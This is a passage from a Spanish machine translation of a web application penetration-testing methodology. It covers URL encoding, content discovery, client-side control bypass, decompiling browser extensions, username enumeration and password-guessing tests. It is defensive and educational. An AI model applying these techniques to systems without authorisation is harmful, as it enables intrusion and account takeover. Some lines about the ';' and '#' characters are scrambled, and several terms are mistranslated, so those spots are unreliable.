codificar estos caracteres mediante una URL para asegurarse de que se interpreten
de la manera que desea:
n & se usa para separar parámetros en la cadena de consulta de URL y el cuerpo

del mensaje. Para insertar un carácter & literal , debe codificarlo como %26. n
= se utiliza para separar el nombre y el valor de cada parámetro en la cadena de
consulta de URL y el cuerpo del mensaje. Para insertar un carácter literal = ,
debe codificarlo como %3d.
n ? se utiliza para marcar el comienzo de la cadena de consulta de URL. Para insertar un

literal ? carácter, debe codificarlo como %3f.
n Se utiliza un espacio para marcar el final de la URL en la primera línea de solicitudes
y puede indicar el final del valor de una cookie en el encabezado de la cookie . A
inserte un espacio literal, debe codificarlo como %20 o +.
n Debido a que + representa un espacio codificado, para insertar un carácter literal
+ , debe codificarlo como %2b.
norte ;se utiliza para separar cookies individuales en el encabezado de cookies . Para
insertar unelliteral ; carácter,
identificador deldebe codificarlo
fragmento como
dentro de la%3b.
URL.n Si
# se usa para
ingresa estemarcar
carácter
en la URL dentro de su navegador, trunca efectivamente la URL que se envía al
servidor. Para insertar un carácter # literal , debe codificarlo como %23.
n % se utiliza como prefijo en el esquema de codificación de URL. Para insertar un

carácter de % literal , debe codificarlo como %25.
n Cualquier carácter no imprimible, como bytes nulos y líneas nuevas, debe, por
supuesto, estar codificado en URL utilizando su código de carácter ASCII, en
este caso, como %00 y %0a, respectivamente.
n Además, tenga en cuenta que ingresar datos codificados en URL en un formulario

generalmente hace que su navegador realice otra capa de codificación. Por ejemplo,
enviar %00 en un formulario probablemente dará como resultado que se envíe un

valor de %2500 al servidor. Por esta razón, normalmente es mejor observar la
solicitud final dentro de un proxy de interceptación.
ÿ Muchas pruebas de vulnerabilidades comunes de aplicaciones web implican el envío
de varias cadenas de entrada manipuladas y el control de las respuestas de la
aplicación en busca de anomalías, lo que indica que existe una vulnerabilidad. En
algunos casos, la respuesta de la aplicación a una solicitud en particular contiene
una firma de una vulnerabilidad en particular, independientemente de que se haya
enviado un activador para esa vulnerabilidad. En todos los casos en los que una
entrada específica diseñada resulte en un comportamiento asociado con una
vulnerabilidad (como un mensaje de error en particular), debe verificar dos veces si
enviar una entrada benigna en el parámetro relevante también provoca el mismo
comportamiento. Si es así, su hallazgo tentativo es probablemente un falso positivo.
n Las aplicaciones suelen acumular una cantidad de estado de solicitudes anteriores,
lo que afecta la forma en que responden a solicitudes posteriores. A veces, cuando
intenta investigar una vulnerabilidad tentativa y aislar la causa precisa de un
comportamiento anómalo en particular, debe eliminar los efectos de cualquier estado
acumulado. Para hacerlo, por lo general es suficiente comenzar una nueva sesión
con un nuevo proceso de navegador, navegar hasta la ubicación de la anomalía
observada usando solo solicitudes benignas y luego volver a enviar la entrada
creada. A menudo, puede replicar esta medida ajustando las partes de sus solicitudes
que contienen cookies e información de almacenamiento en caché. Además, puede
usar una herramienta como Burp Repeater para aislar una solicitud, realizar ajustes
específicos y volver a emitirla tantas veces como lo necesite. n Algunas aplicaciones
usan una configuración de equilibrio de carga en la que las solicitudes HTTP
consecutivas pueden ser manejadas por diferentes servidores back-end en la web,
presentación, datos u otros niveles. Diferentes servidores pueden tener pequeñas
diferencias en la configuración que afectan sus resultados. Además, algunos ataques
exitosos darán como resultado un cambio en el estado del servidor específico que
maneja sus solicitudes, como la creación de un nuevo archivo dentro de la raíz web.
Para aislar los efectos de acciones particulares, puede ser necesario realizar varias
solicitudes idénticas en sucesión, probando el resultado de cada una hasta que el
servidor correspondiente maneje su solicitud.
Suponiendo que está implementando esta metodología como parte de un compromiso

de consultoría, siempre debe asegurarse de realizar el ejercicio de alcance habitual para
acordar con precisión qué nombres de host, URL y funcionalidad se incluirán, y si existen
restricciones en los tipos. de las pruebas que se le permite realizar. Debe informar al
propietario de la aplicación sobre los riesgos inherentes que implica realizar cualquier tipo
de prueba de penetración contra un objetivo de caja negra. Aconseje al propietario que
haga una copia de seguridad de todos los datos importantes antes de comenzar su trabajo.
1 Mapear el contenido de la aplicación
Contenido vinculado Otro contenido Métodos de acceso

no estándar
1.1. Explora contenido 1.3. Descubre 1.5. Funciones

visible contenido oculto especificadas del identificador
1.2. Consultar publico 1.4. Descubrir 1.6. Parámetros

recursos contenido predeterminado de depuración
Figura 21-2: Mapeo del contenido de la aplicación
1.1 Explorar contenido visible

1.1.1 Configure su navegador para usar su herramienta de proxy/spiding integrada
favorita . Tanto Burp como WebScarab se pueden usar para rastrear
pasivamente el sitio al monitorear y analizar el contenido web procesado por el proxy.
1.1.2 Si lo encuentra útil, configure su navegador para usar una extensión como IEWatch
para monitorear y analizar el contenido HTTP y HTML que procesa el navegador.
1.1.3 Navegue por toda la aplicación de manera normal, visitando cada enlace y URL,
enviando cada formulario y procediendo a través de todas las funciones de varios
pasos hasta completarlas. Prueba a navegar con JavaScript habilitado y
deshabilitado, y con las cookies habilitadas y deshabilitadas. Muchas aplicaciones
pueden manejar varias configuraciones de navegador, y puede llegar a diferentes
rutas de contenido y código dentro de la aplicación.
1.1.4 Si la aplicación usa autenticación y usted tiene o puede crear una cuenta de inicio
de sesión, utilícela para acceder a la funcionalidad protegida.
1.1.5 Mientras navega, controle las solicitudes y respuestas que pasan a través de su
proxy de intercepción para comprender los tipos de datos que se envían y las
formas en que se utiliza el cliente para controlar el comportamiento de la
aplicación del lado del servidor.
1.1.6 Revise el mapa del sitio generado por el rastreo pasivo e identifique cualquier
contenido o funcionalidad que no haya recorrido usando su navegador. A partir
de los resultados de la araña, establezca dónde se descubrió cada elemento (por
ejemplo, en Burp Spider, verifique los detalles de Vinculado desde). Acceda a
cada elemento usando su navegador para que la araña analice la respuesta del
servidor para identificar cualquier contenido adicional. Continúe este paso
recursivamente hasta que no se identifique más contenido o funcionalidad.
1.1.7 Cuando haya terminado de navegar manualmente y rastrear pasivamente, puede

usar su araña para rastrear activamente la aplicación, usando el conjunto de URL
descubiertas como semillas. Esto a veces puede descubrir contenido adicional que
pasó por alto cuando trabajaba manualmente. Antes de realizar un rastreo
automatizado, primero identifique las URL que sean peligrosas o que puedan
interrumpir la sesión de la aplicación y luego configure la araña para excluirlas de
su alcance.
1.2 Consultar Recursos Públicos

1.2.1 Utilice motores de búsqueda y archivos de Internet (como Wayback Machine) para
identificar qué contenido han indexado y almacenado para su aplicación de destino.
1.2.2 Use opciones de búsqueda avanzada para mejorar la efectividad de su investigación.

Por ejemplo, en Google puede usar site: para recuperar todo el contenido
de su sitio de destino y link: para recuperar otros sitios que enlazan con él.
Si su búsqueda identifica contenido que ya no está presente en la aplicación
en vivo, aún puede verlo desde el caché del motor de búsqueda. Este
contenido antiguo puede contener enlaces a recursos adicionales que aún
no se han eliminado.
1.2.3 Realice búsquedas sobre cualquier nombre y dirección de correo electrónico que
haya descubierto en el contenido de la aplicación, como información de contacto.
Incluya elementos que no aparecen en pantalla, como comentarios HTML. Además
de búsquedas web, realiza búsquedas de noticias y grupos. Busque los detalles
técnicos publicados en los foros de Internet con respecto a la aplicación de destino
y su infraestructura de apoyo.
1.2.4 Revise cualquier archivo WSDL publicado para generar una lista de nombres de
funciones y valores de parámetros potencialmente empleados por la aplicación.
1.3 Descubrir contenido oculto

1.3.1 Confirme cómo la aplicación maneja las solicitudes de elementos inexistentes.
Realice algunas solicitudes manuales de recursos válidos y no válidos conocidos,
y compare las respuestas del servidor para establecer una manera fácil de identificar
cuándo un elemento no existe.
1.3.2 Obtener listados de archivos comunes y nombres de directorios y extensiones de

archivos comunes. Agregue a estas listas todos los elementos realmente observados
dentro de las aplicaciones, y también los elementos inferidos de estos. Intente
comprender las convenciones de nomenclatura utilizadas por los desarrolladores de
aplicaciones. Por ejemplo, si hay páginas llamadas AddDocument.jsp y
ViewDocument.jsp, también puede haber páginas llamadas EditDocument.jsp y RemoveDocument.jsp.
1.3.3 Revise todo el código del lado del cliente para identificar cualquier pista sobre el contenido oculto del
lado del servidor , incluidos los comentarios HTML y los elementos de formulario deshabilitados.
1.3.4 Usando las técnicas de automatización descritas en el Capítulo 14, haga un gran número de
solicitudes basadas en su directorio, nombre de archivo y listas de extensión de archivo .
Supervise las respuestas del servidor para confi rmar qué elementos están presentes y
accesibles.
1.3.5 Realice estos ejercicios de descubrimiento de contenido de forma recursiva, utilizando el nuevo
contenido y los patrones enumerados como base para realizar más búsquedas dirigidas por el
usuario y más descubrimientos automatizados.
1.4 Descubrir contenido predeterminado
1.4.1 Ejecute Nikto contra el servidor web para detectar cualquier contenido predeterminado o conocido
que esté presente. Utilice las opciones de Nikto para maximizar su eficacia . Por ejemplo,
puede usar la opción –root para especificar un directorio para verificar el contenido
predeterminado, o -404 para especificar una cadena que identifique una página personalizada
de Archivo no encontrado.
1.4.2 Verifique manualmente cualquier hallazgo potencialmente interesante para eliminar cualquier
falso positivo dentro de los resultados.
1.4.3 Solicitar el directorio raíz del servidor, especificando la dirección IP en la cabecera del Host , y
determinar si la aplicación responde con algún contenido diferente. Si es así, ejecute un
escaneo Nikto contra la dirección IP y el nombre del servidor.
1.4.4 Realice una solicitud al directorio raíz del servidor, especificando un rango de
encabezados de User-Agent , como se muestra en www.useragentstring.com/
pages/useragentstring.php .
1.5 Enumerar funciones especificadas por identificador

1.5.1 Identifique cualquier instancia en la que se acceda a funciones específicas de la
aplicación pasando un identifi cador de la función en un parámetro de solicitud
(por ejemplo, /admin.jsp?action=editUser o /main.php?func=A21).
1.5.2 Aplique las técnicas de descubrimiento de contenido utilizadas en el paso 1.3 al mecanismo que
se utiliza para acceder a funciones individuales. Por ejemplo, si la aplicación usa un parámetro
que contiene un nombre de función, primero determine su comportamiento cuando se especifica
una función no válida y trate de establecer una manera fácil de identificar cuándo se ha
solicitado una función válida. Compile una lista de nombres de funciones comunes o recorra el
rango sintáctico de identificadores que se observa que están en uso. Automatice el ejercicio
para enumerar
funcionalidad válida tan rápida y fácilmente como sea posible.

1.5.3 Si corresponde, compile un mapa del contenido de la aplicación basado en rutas

funcionales, en lugar de direcciones URL, que muestre todas las funciones enumeradas
y las rutas lógicas y las dependencias entre ellas. (Consulte el Capítulo 4 para ver un ejemplo).
1.6 Prueba de parámetros de depuración

1.6.1 Elija una o más páginas o funciones de la aplicación donde se puedan implementar
parámetros de depuración ocultos (como debug=true) . Es más probable que
aparezcan en funcionalidades clave como el inicio de sesión, la búsqueda y la carga
o descarga de archivos.
1.6.2 Use listas de nombres de parámetros de depuración comunes (como depuración,

prueba, ocultar y fuente) y valores comunes (como verdadero, sí, activado y 1 ).
Repita todas las permutaciones de estos, enviando cada par de nombre/valor a
cada función de destino. Para las solicitudes POST , proporcione el parámetro tanto
en la cadena de consulta de URL como en el cuerpo de la solicitud. Utilice las
técnicas descritas en el Capítulo 14 para automatizar este ejercicio. Por ejemplo,
puede usar el tipo de ataque de bomba de racimo en Burp Intruder para combinar
todas las permutaciones de dos listas de carga útil.
1.6.3 Revise las respuestas de la aplicación en busca de anomalías que puedan indicar
que el parámetro agregado ha tenido un efecto en el procesamiento de la aplicación.
2 Analizar la aplicación
2.1. Identificar la 2.2. Identificar puntos de 2.3. Identificar

funcionalidad entrada de datos tecnologías
2.4. Mapear la superficie de ataque
Figura 21-3: Analizando la aplicación
2.1 Identificar la funcionalidad

2.1.1 Identifique la funcionalidad central para la que se creó la aplicación y las acciones que
cada función está diseñada para realizar cuando se usa según lo previsto.
2.1.2 Identificar los principales mecanismos de seguridad empleados por la aplicación y

cómo funcionan. En particular, comprender los mecanismos clave que manejan
autenticación, administración de sesiones y control de acceso, y las funciones

que los respaldan, como el registro de usuarios y la recuperación de cuentas.
2.1.3 Identifique todas las funciones y comportamientos más periféricos, como el uso de redireccionamientos,
enlaces fuera del sitio, mensajes de error y funciones administrativas y de registro.
2.1.4 Identifique cualquier funcionalidad que difiera de la apariencia estándar de la GUI , la denominación
de parámetros o el mecanismo de navegación que se utiliza en otras partes de la aplicación, y
identifíquela para realizar pruebas en profundidad.
2.2 Identificar puntos de entrada de datos

2.2.1 Identifique todos los diferentes puntos de entrada que existen para introducir la entrada del usuario en
el procesamiento de la aplicación, incluidas las URL, los parámetros de cadena de consulta, los
datos POST , las cookies y otros encabezados HTTP procesados por la aplicación.
2.2.2 Examine cualquier transmisión de datos personalizados o mecanismos de codificación

utilizados por la aplicación, como un formato de cadena de consulta no estándar.
Comprenda si los datos que se envían encapsulan nombres y valores de parámetros, o si se está
utilizando un medio alternativo de representación .
2.2.3 Identifique cualquier canal fuera de banda a través del cual se introduzcan datos controlables por el
usuario o de terceros en el procesamiento de la aplicación.
Un ejemplo es una aplicación de correo web que procesa y presenta los mensajes recibidos a
través de SMTP.
2.3 Identificar las tecnologías utilizadas

2.3.1 Identificar cada una de las diferentes tecnologías utilizadas en el lado del cliente,
como formularios, scripts, cookies, applets de Java, controles ActiveX y objetos Flash.
2.3.2 En la medida de lo posible, establezca qué tecnologías se utilizan en el lado del servidor, incluidos los
lenguajes de secuencias de comandos, las plataformas de aplicaciones y la interacción con los
componentes de back-end, como bases de datos y sistemas de correo electrónico .
2.3.3 Verifique el encabezado del servidor HTTP devuelto en las respuestas de la aplicación, y también
verifique cualquier otro identificador de software contenido dentro de los encabezados HTTP
personalizados o los comentarios del código fuente HTML. Tenga en cuenta que, en algunos
casos, las diferentes áreas de la aplicación son manejadas por diferentes componentes de back-
end, por lo que se pueden recibir diferentes anuncios.
2.3.4 Ejecute la herramienta Httprint para tomar la huella digital del servidor web.
2.3.5 Revise los resultados de sus ejercicios de mapeo de contenido para identificar
extensiones de archivo, directorios u otras subsecuencias de URL que parezcan interesantes
que pueden proporcionar pistas sobre las tecnologías en uso en el servidor.

Revise los nombres de los tokens de sesión y otras cookies emitidas. Utilice Google
para buscar tecnologías asociadas con estos elementos.
2.3.6 Identifique cualquier nombre de secuencia de comandos que parezca interesante y
parámetros de cadena de consulta que puedan pertenecer a componentes de código
de terceros. Búsquelos en Google usando el calificador inurl: para encontrar otras
aplicaciones que usen los mismos scripts y parámetros y que, por lo tanto, puedan
estar usando los mismos componentes de terceros. Realice una revisión no invasiva
de estos sitios, ya que esto puede descubrir contenido y funcionalidad adicionales que
no están vinculados explícitamente en la aplicación que está atacando.
2.4 Mapear la superficie de ataque

2.4.1 Trate de determinar la estructura interna y la funcionalidad probables de la aplicación
del lado del servidor y los mecanismos que utiliza entre bastidores para ofrecer el
comportamiento que es visible desde la perspectiva del cliente. Por ejemplo, es
probable que una función para recuperar pedidos de clientes interactúe con una base
de datos.
2.4.2 Para cada elemento de funcionalidad, identifique los tipos de vulnerabilidades comunes
que a menudo se asocian con él. Por ejemplo, las funciones de carga de archivos
pueden ser vulnerables al cruce de rutas, la mensajería entre usuarios puede ser
vulnerable a XSS y las funciones de contacto pueden ser vulnerables a la inyección de SMTP.
Consulte el Capítulo 4 para ver ejemplos de vulnerabilidades comúnmente asociadas
con funciones y tecnologías particulares.
2.4.3 Formule un plan de ataque, priorizando la funcionalidad que parezca más interesante y
las vulnerabilidades potenciales más graves asociadas con ella. Use su plan para
guiar la cantidad de tiempo y esfuerzo que dedica a cada una de las áreas restantes
de esta metodología.
3 Controles del lado del cliente de prueba
3.1. Transmisión de datos vía 3.2. Controles de entrada del 3.3. Extensiones
cliente lado del cliente del navegador
Campos ocultos Límites de longitud subprogramas de Java
Galletas Validación de JavaScript Controles ActiveX
Parámetros preestablecidos Elementos deshabilitados objetos destellantes
Estado de visualización de ASP.NET Objetos de luz plateada
Figura 21-4: Prueba de controles del lado del cliente

3.1 Prueba de transmisión de datos a través del cliente
3.1.1 Localice todas las instancias dentro de la aplicación donde aparentemente se

utilizan campos de formulario ocultos, cookies y parámetros de URL para transmitir
datos a través del cliente.
3.1.2 Tratar de determinar el propósito que juega el ítem en la lógica de la aplicación,

con base en el contexto en el que aparece y en su nombre y valor.
3.1.3 Modificar el valor del elemento de manera que sea relevante para su rol en la
funcionalidad de la aplicación. Determine si la aplicación procesa valores arbitrarios
enviados en el campo y si este hecho puede explotarse para interferir con la lógica
de la aplicación o subvertir los controles de seguridad.
3.1.4 Si la aplicación transmite datos opacos a través del cliente, puede atacar esto de varias maneras.
Si el elemento está ofuscado, es posible que pueda descifrar el algoritmo de ofuscación y, por lo
tanto, enviar datos arbitrarios dentro del elemento opaco. Incluso si está encriptado de forma
segura, es posible que pueda reproducir el elemento en otros contextos para interferir con la
lógica de la aplicación. Consulte el Capítulo 5 para obtener más detalles sobre estos y otros
ataques.
3.1.5 Si la aplicación utiliza ASP.NET ViewState, realice una prueba para confi
rmar si se puede manipular o si contiene información confidencial . Tenga
en cuenta que ViewState puede usarse de manera diferente en diferentes
páginas de aplicaciones.
3.1.5.1 Use el analizador ViewState en Burp Suite para confi rmar si la opción EnableViewStateMac
se ha habilitado, lo que significa que el contenido de ViewState no se puede modificar.
3.1.5.2 Revise el ViewState decodificado para identificar cualquier dato confidencial que contenga.
3.1.5.3 Modifique uno de los valores de parámetro decodificados y recodifique y envíe ViewState.
Si la aplicación acepta el valor modificado, debe tratar ViewState como un canal de
entrada para introducir datos arbitrarios en el procesamiento de la aplicación.
Realice las mismas pruebas en los datos que contiene como lo haría con cualquier
otro parámetro de solicitud.
3.2 Probar los controles del lado del cliente sobre la entrada del usuario
3.2.1 Identifique cualquier caso en el que los controles del lado del cliente, como los límites de longitud y
las comprobaciones de JavaScript, se utilicen para validar la entrada del usuario antes de enviarla
al servidor Estos controles se pueden eludir fácilmente, ya que puede

enviar solicitudes arbitrarias al servidor. Por ejemplo:
<acción de formulario = "order.asp" onsubmit = "return Validate (this)"> <input maxlength =
"3" nombre = "cantidad">
...
3.2.2 Pruebe cada campo de entrada afectado por turno enviando entradas que normalmente
estarían bloqueadas por los controles del lado del cliente para verificar si se replican
en el servidor.
3.2.3 La capacidad de eludir la validación del lado del cliente no representa necesariamente
ninguna vulnerabilidad. Sin embargo, debe revisar detenidamente qué validación se
está realizando. Confirme si la aplicación se basa en los controles del lado del cliente
para protegerse de entradas mal formadas. También confirme si existe alguna
condición explotable que pueda ser desencadenada por dicha entrada.
3.2.4 Revise cada formulario HTML para identificar los elementos deshabilitados, como los
botones de envío atenuados. Por ejemplo:
<entrada deshabilitada=”verdadero” nombre=”producto”>
Si encuentra alguno, envíelo al servidor, junto con los demás parámetros del
formulario. Vea si el parámetro tiene algún efecto en el procesamiento del servidor
que pueda aprovechar en un ataque. Alternativamente, use una regla de proxy
automatizada para habilitar automáticamente los campos deshabilitados, como las
reglas de “Modificación de HTML” de Burp Proxy.
3.3 Probar los componentes de la extensión del navegador
3.3.1 Comprender el funcionamiento de la aplicación cliente

3.3.1.1 Configure un proxy de interceptación local para la tecnología del cliente bajo revisión y
controle todo el tráfico que pasa entre el cliente y el servidor. Si los datos están
serializados, use una herramienta de deserialización como el soporte AMF integrado
de Burp o el complemento DSer Burp para Java.
3.3.1.2 Recorra la funcionalidad presentada en el cliente. Determine cualquier función
potencialmente sensible o poderosa, utilizando herramientas estándar dentro del
proxy de interceptación para reproducir solicitudes clave o modificar las respuestas del servidor.
3.3.2 Descompilar el Cliente

3.3.2.1 Identifique los subprogramas empleados por la aplicación. Busque cualquiera de los
siguientes tipos de archivos que se soliciten a través de su proxy de intercepción:
n .clase, .jar : Java
n .swf : Destello
n.xap : Silverlight
También puede buscar etiquetas de subprogramas dentro del código fuente HTML de
las páginas de la aplicación. Por ejemplo:
<código del applet=”input.class” id=”TheApplet” codebase=”/scripts/”></

subprograma>
3.3.2.2 Revise todas las llamadas realizadas a los métodos del subprograma desde el HTML
de invocación y determine si los datos devueltos por el subprograma se envían al
servidor. Si estos datos son opacos (es decir, ofuscados o encriptados), para
modificarlos probablemente necesitará descompilar el applet para obtener su código
fuente.
3.3.2.3 Descargue el código de bytes del subprograma ingresando la URL en su navegador y

guarde el archivo localmente. El nombre del archivo de bytecode se especifica en el
atributo de código de la etiqueta del applet. El archivo se ubicará en el directorio
especificado en el atributo de la base de código , si está presente. De lo contrario,
se ubicará en el mismo directorio que la página en la que aparece la etiqueta del
applet.
3.3.2.4 Utilice una herramienta adecuada para descompilar el código de bytes en código fuente. Para
ejemplo:
C:\>jad.exe entrada.clase
Analizando input.class... Generando input.jad
Estas son algunas herramientas adecuadas para descompilar diferentes

componentes de extensión del navegador: n Java — Jad n Flash — SWFScan,
Flasm/Flare n Silverlight — .NET Reflector
Si el subprograma está empaquetado en un archivo JAR, XAP o SWF, puede

descomprimirlo utilizando un lector de archivos estándar como WinRar o WinZip.
3.3.2.5 Revise el código fuente relevante (comenzando con la implementación del método
que devuelve los datos opacos) para comprender qué procesamiento se está
realizando.
3.3.2.6 Determine si el subprograma contiene algún método público que se pueda usar para
realizar la ofuscación relevante en una entrada arbitraria.
3.3.2.7 Si no es así, modifique la fuente del subprograma para neutralizar cualquier validación
que realice o para permitirle ofuscar entradas arbitrarias. Luego puede volver a compilar
la fuente en su formato de archivo original utilizando las herramientas de compilación
proporcionadas por el proveedor.
3.3.3 Adjuntar un depurador

3.3.3.1 Para aplicaciones grandes del lado del cliente, a menudo es prohibitivamente
difícil descompilar toda la aplicación, modificarla y volver a empaquetarla sin
encontrando numerosos errores. Para estas aplicaciones, generalmente es más rápido

adjuntar un depurador de tiempo de ejecución al proceso. JavaSnoop hace esto muy bien
para Java. Silverlight Spy es una herramienta disponible gratuitamente que permite
monitorear el tiempo de ejecución de los clientes de Silverlight.
3.3.3.2 Ubique las funciones y los valores clave que emplea la aplicación para impulsar la lógica
comercial relacionada con la seguridad y coloque puntos de interrupción cuando se llame
a la función de destino. Modifique los argumentos o el valor devuelto según sea necesario
para afectar la omisión de seguridad.
3.3.4 Prueba de controles ActiveX
3.3.4.1 Identifique cualquier control ActiveX empleado por la aplicación. Busque cualquier
tipo de archivo .cab que se solicite a través de su proxy de intercepción, o busque
etiquetas de objetos dentro del código fuente HTML de las páginas de la aplicación.
Por ejemplo:
<OBJETO
identificación de clase = "CLSID: 4F878398-E58A-11D3-BEE9-00C04FA0D6BA"
código base = "https://wahh app.com/scripts/input.cab" id = "TheAxControl">
</OBJETO>
3.3.4.2 Por lo general, es posible subvertir cualquier validación de entrada realizada dentro
de un control ActiveX adjuntando un depurador al proceso y modificando directamente
los datos que se procesan o alterando la ruta de ejecución del programa . Consulte
el Capítulo 5 para obtener más detalles sobre este tipo de ataque.
3.3.4.3 A menudo es posible adivinar el propósito de los diferentes métodos que exporta un
control ActiveX en función de sus nombres y los parámetros que se les pasan. Utilice
la herramienta COMRaider para enumerar los métodos exportados por el control.
Pruebe si alguno de estos se puede manipular para afectar el comportamiento del
control y anule cualquier prueba de validación que implemente.
3.3.4.4 Si el propósito del control es recopilar o verificar cierta información sobre la

computadora del cliente, use las herramientas Filemon y Regmon para monitorear
la información que recopila el control. A menudo es posible crear elementos
adecuados dentro del registro del sistema y el sistema de archivos para corregir las
entradas utilizadas por el control y, por lo tanto, afectar su comportamiento.
3.3.4.5 Probar cualquier control ActiveX en busca de vulnerabilidades que puedan explotarse
para atacar a otros usuarios de la aplicación. Puede modificar el HTML utilizado
para invocar un control para pasar datos arbitrarios a sus métodos y monitorear los
resultados. Busque métodos con nombres que suenen peligrosos, como LaunchExe.
También puede usar COMRaider para realizar algunas pruebas básicas de fuzz de
los controles ActiveX para identificar fallas como desbordamientos de búfer.
4 Probar el mecanismo de autenticación
4.1. Comprender el mecanismo
Ataques de datos Funciones especiales manejo de credenciales Lógica de autenticación
4.2. Probar la calidad de la 4.5. Prueba de recuperación 4.8. Probar la exclusividad del 4.13.1. Prueba de lógica
contraseña de cuenta nombre de usuario de falla abierta
4.3. Prueba de 4.13.2. Probar

4.6. Prueba 4.9. Probar la previsibilidad de
enumeración de procesos de
"recuérdame" las credenciales
nombre de usuario varias etapas
4.7. Probar
4.4. Test para 4.10. Compruebe si hay
funciones de
adivinar contraseñas transmisión insegura
suplantación
4.11. Compruebe si hay
una distribución insegura
4.12. Compruebe si hay
almacenamiento inseguro
4.14. Explotar vulnerabilidades
Figura 21-5: Prueba del mecanismo de autenticación
4.1 Comprender el mecanismo

4.1.1 Establecer las tecnologías de autenticación en uso (por ejemplo,
formularios, certificados o multifactor).
4.1.2 Localice toda la funcionalidad relacionada con la autenticación (incluido el inicio de
sesión, el registro, la recuperación de la cuenta, etc.).
4.1.3 En caso de que la aplicación no implemente un mecanismo de autorregistro
automatizado, determinar si existe algún otro medio para obtener varias
cuentas de usuario.
4.2 Probar la calidad de la contraseña

4.2.1 Revise la solicitud para cualquier descripción de las reglas mínimas de calidad
aplicado a las contraseñas de los usuarios.
4.2.2 Intentar establecer varios tipos de contraseñas débiles, utilizando cualquier función de
registro automático o cambio de contraseña para establecer las reglas que realmente se aplican.
Pruebe contraseñas cortas, solo caracteres alfabéticos, solo caracteres en mayúsculas y minúsculas,
palabras del diccionario y el nombre de usuario actual.
4.2.3 Prueba de validación incompleta de credenciales. Establezca una contraseña segura y compleja (por ejemplo,
12 caracteres con letras mayúsculas y minúsculas, números y caracteres tipográficos). Intente iniciar
sesión utilizando diferentes variaciones de esta contraseña, eliminando el último carácter, cambiando el
caso de un carácter y eliminando cualquier carácter especial. Si alguno de estos intentos de inicio de
sesión es exitoso, continúe experimentando sistemáticamente para identificar qué validación se está
realizando realmente.
4.2.4 Habiendo establecido las reglas mínimas de calidad de la contraseña y el

alcance de la validación de la contraseña, identifique el rango de valores que
un ataque de adivinación de contraseña necesitaría emplear para tener una
buena probabilidad de éxito. Intente localizar cualquier cuenta integrada que
no haya estado sujeta a los requisitos de complejidad de contraseña estándar.
4.3 Prueba de enumeración de nombre de usuario
4.3.1 Identifique cada ubicación dentro de las diversas funciones de autenticación donde se envía un nombre de
usuario, incluso a través de un campo de entrada en pantalla, un campo de formulario oculto o una cookie.
Las ubicaciones comunes incluyen el inicio de sesión principal, el registro automático, el cambio de
contraseña, el cierre de sesión y la recuperación de la cuenta.
4.3.2 Para cada ubicación, envíe dos solicitudes, que contengan un nombre de usuario válido y otro no válido .
Revise cada detalle de las respuestas del servidor a cada par de solicitudes, incluido el código de estado
HTTP, los redireccionamientos, la información que se muestra en pantalla, las diferencias ocultas en la
fuente de la página HTML y el tiempo que tarda el servidor en responder. Tenga en cuenta que algunas
diferencias pueden ser sutiles (por ejemplo, el mismo mensaje de error puede contener diferencias
tipográficas menores). Puede usar la función de historial de su proxy de interceptación para revisar todo
el tráfico hacia y desde el servidor. WebScarab tiene una función para comparar dos respuestas para
resaltar rápidamente cualquier diferencia entre ellas.
4.3.3 Si observa alguna diferencia entre las respuestas en las que se envía un nombre de usuario válido y otro no
válido, repita la prueba con un par de valores diferente y confirme que existe una diferencia sistemática
que puede servir de base para la enumeración automática de nombres de usuario.
4.3.4 Verifique cualquier otra fuente de fuga de información dentro de la aplicación que pueda
permitirle compilar una lista de nombres de usuario válidos. Algunos ejemplos son la
funcionalidad de registro, las listas reales de usuarios registrados y la mención directa
de nombres o direcciones de correo electrónico en los comentarios del código fuente.
4.3.5 Localice cualquier autenticación subsidiaria que acepte un nombre de usuario

y determine si se puede usar para la enumeración de nombres de usuario.
Preste especial atención a una página de registro que permite especificar un
nombre de usuario.
4.4 Prueba de resiliencia para adivinar contraseñas

4.4.1 Identifique cada ubicación dentro de la aplicación donde se envían las credenciales de
usuario. Las dos instancias principales suelen ser la función de inicio de sesión principal
y la función de cambio de contraseña. Este último normalmente es un objetivo válido
para los ataques de adivinación de contraseñas solo si se puede proporcionar un
nombre de usuario arbitrario.
4.4.2 En cada ubicación, utilizando una cuenta que usted controle, envíe manualmente varias
solicitudes que contengan el nombre de usuario válido pero otras credenciales no
válidas. Supervise las respuestas de la aplicación para identificar cualquier diferencia .
Después de aproximadamente 10 inicios de sesión fallidos, si la aplicación no ha
devuelto un mensaje sobre el bloqueo de la cuenta, envíe una solicitud que contenga
credenciales válidas. Si esta solicitud tiene éxito, probablemente no esté en vigor una
política de bloqueo de cuenta .
4.4.3 Si no controla ninguna cuenta, intente enumerar o adivinar un nombre de usuario válido y
realice varias solicitudes no válidas utilizando esta suposición, controlando cualquier
mensaje de error sobre el bloqueo de la cuenta. Por supuesto, debe tener en cuenta
que esta prueba puede tener el efecto de suspender o deshabilitar una cuenta que
pertenece a otro usuario.
4.5 Probar cualquier función de recuperación de cuenta

4.5.1 Identifique si la aplicación contiene alguna facilidad para que los usuarios recuperen el
control de su cuenta si han olvidado sus credenciales. Esto a menudo se indica mediante
un enlace ¿Olvidó su contraseña? cerca de la función principal de inicio de sesión.
4.5.2 Establezca cómo funciona la función de recuperación de cuenta realizando un recorrido

completo del proceso de recuperación usando una cuenta que usted controle.
4.5.3 Si la función usa un desafío como una pregunta secreta, determine si los usuarios pueden
establecer o seleccionar su propio desafío durante el registro.
Si es así, use una lista de nombres de usuario enumerados o comunes para recopilar
una lista de desafíos, y revise esto en busca de cualquiera que parezca fácil de adivinar.
4.5.4 Si la función utiliza una sugerencia de contraseña, realice el mismo ejercicio para obtener
una lista de sugerencias de contraseña e identifique las que parezcan fáciles de adivinar.
4.5.5 Realice las mismas pruebas en cualquier desafío de recuperación de cuenta que realizó en
la función de inicio de sesión principal para evaluar la vulnerabilidad a los ataques de
adivinación automatizados.
4.5.6 Si la función implica enviar un correo electrónico al usuario para completar el proceso de
recuperación, busque cualquier debilidad que pueda permitirle tomar el control de las
cuentas de otros usuarios. Determine si es posible controlar la dirección a la que se envía
el correo electrónico. Si el mensaje contiene una URL de recuperación única, obtenga una
cantidad de mensajes usando una dirección de correo electrónico que controle e intente
identificar cualquier patrón que pueda permitirle predecir las URL emitidas a otros usuarios.
Aplique la metodología descrita en el paso 5.3 para identificar cualquier secuencia
predecible.
4.6 Probar cualquier función Recordarme

4.6.1 Si la función principal de inicio de sesión o su lógica de apoyo contiene una función
Recordarme, actívela y revise sus efectos. Si esta función permite que el usuario inicie
sesión en ocasiones posteriores sin ingresar ninguna credencial, debe revisarla
